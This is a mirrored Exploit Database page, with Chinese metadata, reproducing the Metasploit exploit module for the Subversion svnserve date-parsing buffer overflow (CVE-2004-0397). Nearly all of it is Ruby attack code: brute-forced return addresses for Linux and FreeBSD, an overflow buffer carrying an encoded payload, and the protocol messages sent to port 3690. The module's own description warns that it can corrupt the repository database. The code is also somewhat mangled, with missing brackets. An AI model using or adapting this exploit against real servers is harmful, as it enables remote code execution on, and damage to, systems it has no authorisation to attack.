Subversion – Date Svnserve (Metasploit)

Exploit Database
110 阅读

作者： Metasploit

日期： 2010-08-07
类别：
- dos
平台：
- unix
来源：https://www.exploit-db.com/exploits/16284/

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# $Id: svnserve_date.rb 9971 2010-08-07 06:59:16Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Brute

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Subversion Date Svnserve',

'Description'=> %q{

This is an exploit for the Subversion date parsing overflow.This

exploit is for the svnserve daemon (svn:// protocol) and will not work

for Subversion over webdav (http[s]://).This exploit should never

crash the daemon, and should be safe to do multi-hits.

**WARNING** This exploit seems to (not very often, I've only seen

it during testing) corrupt the subversion database, so be careful!

'Author' => 'spoonm',

'Version'=> '$Revision: 9971 $',

'References' =>

[

['CVE', '2004-0397'],

['OSVDB', '6301'],

['BID', '10386'],

['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],

['MIL', '68'],

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",

'MinNops'=> 16,

'SaveRegisters'=> [ 'esp' ],

'Arch' => 'x86',

'Platform' => [ 'linux', 'bsd' ],

'Targets'=>

[

'Linux Bruteforce',

{

'Platform' => 'linux',

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xbffffe13 },

'Stop'=> { 'Ret' => 0xbfff0000 },

'Step'=> 0

}

[

'FreeBSD Bruteforce',

{

'Platform' => 'bsd',

'Bruteforce' =>

{

'Start' => { 'Ret' => 0xbfbffe13 },

'Stop'=> { 'Ret' => 0xbfbf0000 },

'Step'=> 0

}

'DisclosureDate' => 'May 19 2004'))

register_options(

[

Opt::RPORT(3690),

OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])

], self.class)

register_advanced_options(

[

# 62 on spoonm's, 88 on HD's

OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),

OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])

], self.class)

end

def check

end

def brute_exploit(addresses)

connect

print_status("Trying #{"%.8x" % addresses['Ret']}...")

buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded

[

"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",

"( ANONYMOUS ( 0; ) )",

"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "

].each_with_index { |buf, index|

trash = sock.get_once

print_line("Received: #{trash}") if debugging?

if (sock.put(buf) || 0) == 0 and index < 3

print_error("Error transmitting buffer.")

raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']

end

if index == 3 and trash.length > 0

print_error("Received data when we shouldn't have")

raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']

end

}

handler

disconnect

end

def lengther(buf)

"#{buf.length}:" + buf

end